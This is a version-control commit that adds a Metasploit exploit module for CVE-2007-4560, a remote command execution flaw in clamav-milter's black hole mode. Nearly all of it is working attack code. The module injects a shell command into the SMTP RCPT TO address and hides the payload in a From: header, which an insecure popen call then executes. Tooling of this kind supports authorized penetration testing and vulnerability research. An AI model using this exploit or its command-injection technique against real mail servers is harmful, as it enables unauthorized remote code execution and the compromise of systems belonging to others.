Added clamav_milter_blackhole.rb exploit module

git-svn-id: file:///home/svn/framework3/trunk@5447 4d416f70-5f16-0410-b530-b9f4589650da

modules/exploits/unix/smtp/clamav_milter_blackhole.rb

@@ -0,0 +1,96 @@
+##
+# $Id$
+##
+
+##
+# This file is part of the Metasploit Framework and may be subject to
+# redistribution and commercial restrictions. Please see the Metasploit
+# Framework web site for more information on licensing and terms of use.
+# http://metasploit.com/projects/Framework/
+##
+
+require 'msf/core'
+
+module Msf
+
+class Exploits::Unix::Smtp::ClamAV_Milter_BlackHole < Msf::Exploit::Remote
+
+	include Exploit::Remote::Smtp
+
+	def initialize(info = {})
+		super(update_info(info,
+			'Name'           => 'ClamAV Milter Blackhole-Mode Remote Code Execution',
+			'Description'    => %q{
+					This module exploits a flaw in the Clam AntiVirus suite 'clamav-milter'
+					(Sendmail mail filter). Versions prior to v0.92.2 are vulnerable.
+					When implemented with black hole mode enabled, it is possible to execute
+					commands remotely due to an insecure popen call.
+			},
+			'Author'         => [ 'patrick' ],
+			'License'        => MSF_LICENSE,
+			'Version'        => '$Revision$',
+			'References'     =>
+				[
+					[ 'OSVDB', '36909' ],
+					[ 'CVE', '2007-4560' ],
+					[ 'BID', '25439' ],
+					[ 'URL', 'http://www.milw0rm.com/exploits/4761' ],
+				],
+			'Privileged'     => true,
+			'Payload'        =>
+				{
+					'DisableNops' => true,
+					'Space'       => 1024,
+				},
+			'Platform'       => 'unix',
+			'Arch'           => ARCH_CMD,
+			'Targets'        => 
+				[
+					[ 'Automatic', { }],
+				],
+			'DisclosureDate' => 'Aug 24 2007',
+			'DefaultTarget'  => 0))
+
+			register_options(
+			[
+				OptString.new('MAILTO', [ true, 'TO address of the e-mail', 'nobody@localhost']),
+			], self.class)
+	end
+
+	def exploit
+
+		# ClamAV writes randomized msg.###### temporary files in a randomized
+		# /tmp/clamav-#######################/ directory. This directory is
+		# the clamav-milter process working directory.
+		#
+		# We *can* execute arbitrary code directly from 'sploit', however the
+		# SMTP RFC rejects all payloads with the exception of generic CMD
+		# payloads due to the IO redirects. I discovered that the 'From:'
+		# header is written to this temporary file prior to the vulnerable
+		# call, so we call the file itself and payload.encoded is executed.
+
+		sploit = "sh msg*" # Execute the clamav-milter temporary file.
+
+		# Create the malicious RCPT TO before connecting,
+		# to make good use of the Exploit::Smtp support.
+
+		oldaddr = datastore['MAILTO']
+		newaddr = oldaddr.split('@')
+
+		datastore['MAILTO'] = "<#{newaddr[0]}+\"|#{sploit}\"@#{newaddr[1]}>"
+
+		connect_login
+
+		sock.put("From: ;#{payload.encoded}\r\n") # We are able to stick our payload in this header
+		sock.put(".\r\n")
+
+		# Clean up RCPT TO afterwards
+
+		datastore['MAILTO'] = oldaddr
+
+		handler
+		disconnect
+	end
+
+end
+end